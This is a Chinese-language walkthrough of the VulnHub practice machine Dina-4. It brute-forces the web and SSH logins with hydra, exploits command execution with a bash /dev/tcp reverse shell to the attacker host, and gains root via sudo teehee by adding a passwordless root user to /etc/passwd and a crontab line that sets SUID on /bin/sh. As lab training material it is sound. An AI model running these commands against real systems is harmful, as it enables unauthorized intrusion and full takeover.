VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有相關目標去完成(萬分感謝提供靶機鏡像的同學)。
文章較臃長,記錄了不斷測試並發現利用的過程。
文章目錄
一、相關簡介
靶機:
該靶機設定Web登錄界面的弱口令漏洞,以及站點存在命令執行,和sudo的不安全配置問題。
- 名稱:Dina-4
- 系統:Linux Debian
- 難度:初學者/中級
- 目標:/root/flag.txt
環境:
- 靶機:Dina-4——192,168.11.27
- 攻擊機:Kali——192.168.11.28
- 工具:Nmap、dirb、NetCat(nc)、BurpSuit、whatweb、MSF等
流程:
- 信息蒐集
- Web站點滲透並提權
二、滲透步驟
1、信息蒐集
1.1、蒐集
arp-scan 主機發現
Nmap端口服務掃描,操作系統識別
nmap -sS -Pn -T4 -A 192.168.11.27
開放了2個端口,22和80端口
Web路徑掃描,只掃到一個主頁
Web指紋識別,沒有有用信息。
1.2、總結
經過信息蒐集,大只得到以下內容:
主機:
- IP:192.168.11.27
- OS:Linux 3.2 - 4.9
- Kernel:Linux 3 / Linux 4
- 22端口:ssh,OpenSSH - 7.4p1
- 80端口:http,Nginx - 1.15.10
Web路徑:
- http://192.168.11.27/index.php (主頁)
- http://192.168.11.27/css/(403)
- http://192.168.11.27/images/(403)
2、漏洞發現
對ssh服務進行弱口令爆破沒有成功後,將重點轉向了Web站點。
2.1 弱口令進入Web頁面
Web頁面只有一個登錄框,使用hydra爆破,當然也可以使用BurpSuit,本次我是用hydra的Web表單提交爆破,命令如下:
hydra -L ./adminUser.txt -P ./adminPsd.txt -vV -t 10 -f 192.168.11.27 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"
參數解釋:
- -vV:顯示詳細信息
- -t 10:線程
- -f:發現第一個就停止
- http-post-form:http POST類型的表單提交
- “/login.php:username=^ USER ^ &password= ^ PASS ^:S=logout”,分兩部分:
- /login.php:username=^ USER ^ &password= ^ PASS ^:提交表單的頁面以及參數
- S=logout:成功標誌,不加S=即爲失敗標誌
成功爆破出一個賬戶:admin :happy
不得不吐槽爆破這一環節了,有時候真是肉包子打狗,使用小字典吧有害怕漏了東西,使用大字典吧又費時間,還不一定能爆出,不爆破吧,又不甘心,難搞啊。
2.2 命令執行漏洞
言歸正傳,登錄之後頁面只有一個Commend的選項
點擊後有三個選項,都是執行相應命令,並輸出執行結果,比如List Files
既然這樣那就可以抓包看一下,此處執行的是命令還是執行寫好的命令對應的編號,如果執行的命令,那就可能存在命令執行漏洞。
使用BP抓包,發現果然執行的是命令
試了這三個選項外其他的命令也可以,嘗試能否cat passwd
文件,發現也可以
3、漏洞利用
3.1 反彈shell
ok,既然可以命令執行,那麼自然想到反彈shell,使用以下語句:
echo "bash -i >& /dev/tcp/192.168.11.28/8888 0>&1" | bash
但是直接輸入原語句會有特殊符號解析問題,因此需要進行url編碼,使用Decoder模塊編碼,然後建立反彈shell,即可成功連接
連接成功但是不是root權限,需要提權,提權步驟後邊再寫。
3.2 發現密碼,連接ssh
之前發現home路徑下該用戶還有其他文件,有一個backups
備份文件很是可疑,看一下是否有信息泄漏
果然發現了端倪,有一個old-passwords.bak
的文件,內容是一些密碼,可能用戶密碼就在其中
系統當前連同 root 總共有4個用戶
那麼就可以利用得到的密碼文件以及四個用戶名去爆破ssh服務了,創建用戶名和密碼文件並填入相應內容,使用hydra爆破
hydra -L ./uname.txt -P ./pword.txt -t4 -vV 192.168.11.27 ssh
嚯!找到了:jim :jibril04
,真滴賊,正確的密碼是最後一個,總共給了250多個
4、提權
4.1 test.sh SUID 提權(失敗)
搜一下有SUID權限的命令,發現了一個可以文件:test.sh
查看內容是執行幾句代碼,並且可以成功執行
看一下該用戶對該文件的權限,媽耶,果然是一個線索點,居然對該文件有寫權限,那就很可怕了,盲猜想要執行任何命令都可以寫入該文件,就會以root權限執行。
試着寫入一個反彈shell,看看是不是root權限
但是發現建立的連接並不是root權限,大大的疑惑
一定是打開方式有問題,重新寫一個命令試一試,寫了個id,發現執行後還是以當前用戶執行。
哎呦,睡了一覺起來怎麼在SUID裏找不到這個文件了???
索性在自己的機器上試一下能否提權,輸入id後發現是不可以的,還是以執行文件的用戶權限來執行該命令
所以這條線斷了,不可以提權,另闢蹊徑吧。
4.2 髒牛提權(失敗)
現在要做的就是登錄提權了,連接ssh服務,當前用戶時jim,無root權限
查找當前用戶所有的可寫文件,看看是否有提權線索,發現了一個jim 的 mail
打開是一封charles寫給jim的郵件,說是讓jim保管他的密碼,給出了密碼,切換用戶看看有沒有什麼好玩的東西
暫時沒有發現什麼線索,索性使用髒牛提權試一試,但未能成功。
4.3 teehee 無密碼 sudo 提權
在查看用戶權限時發現有一個teehee文件可以無密碼使用sudo,而且是root權限
查看文件幫助得知, -a
參數可以向指定文件添加內容
查詢得知有兩種思路:
- 向passwd文件寫入root權限用戶
- 向/etc/crontab文件中寫入新的定時任務
1、新建用戶
4.3.1 新建root用戶提權
使用以下命令新建一個root權限用戶abc
:
echo "abc::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
切換用戶即可得到flag
2、寫入定時任務
4.3.2 定時任務添加/bin/sh SUID提權
向/etc/crontab文件寫入一個定時任務,當到時間時會自動執行,並且將該任務設定爲執行擁有4777文件屬性的/bin/sh
文件,含義如下:
-
1、文件屬性777表示的是讀寫執行,不用多說,4代表擁有SUID權限,何爲SUID權限?
SUID(Set UID)權限是指當文件(指令)擁有該權限時,執行該文件的用戶就會擁有文件擁有者的權限。(這也就解釋了之前發現的test.sh不可以提權的問題,因爲文件屬於非root用戶)
-
2、/bin/sh是屬於root用戶的,但是沒有SUID權限怎麼提權呢?
可以利用teehee的sudo向定時任務中寫入一句修改/bin/sh屬性爲4777(添加SUID)的命令,執行/bin/sh即可拿到root權限
先查看/bin/sh
文件屬性,所屬用戶時root,此時還沒有SUID權限
看看定時任務文件 /etc/crontab
的內容格式並搜索得知,在添加定時任務時將時間設定爲 *
即可使得任務每分鐘觸發一次。
命令如下:
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
查看定時任務文件,已經存在
再次查看/bin/sh
屬性,發現已經擁有SUID
OK,直接使用/bin/sh
開啓一個新的shell環境,查看用戶發現已經是root
至此。
四、知識總結
整體打靶流程:
- 利用弱口令進入Web,發現命令執行漏洞;
- 建立反彈shell,拿到普通用戶jim的密碼,連接ssh;
- 在郵件中拿到另一個賬戶charles密碼,發現該用戶有sudo無密碼使用權限;
- 利用teehee命令的SUID和sudo提權至root。
知識點:
- 在打靶場時,如果Web頁面沒有什麼提示信息,那麼多半都是弱口令漏洞,儘管爆破就可以了。
- 提權時,可使用
sudo -l
命令查看當前用戶的權限,或許有意外收穫,比如本次的sudo無密碼使用權限。 - SUID權限是一個好東西,使用以下命令查找存在SUID權限的命令(文件):
find / -type f -perm -u=s 2>/dev/null
-
查詢得知可以使用SUID提權的命令有以下幾個:
Nmap、Vim、find、Bash、More、Less、Nano、cp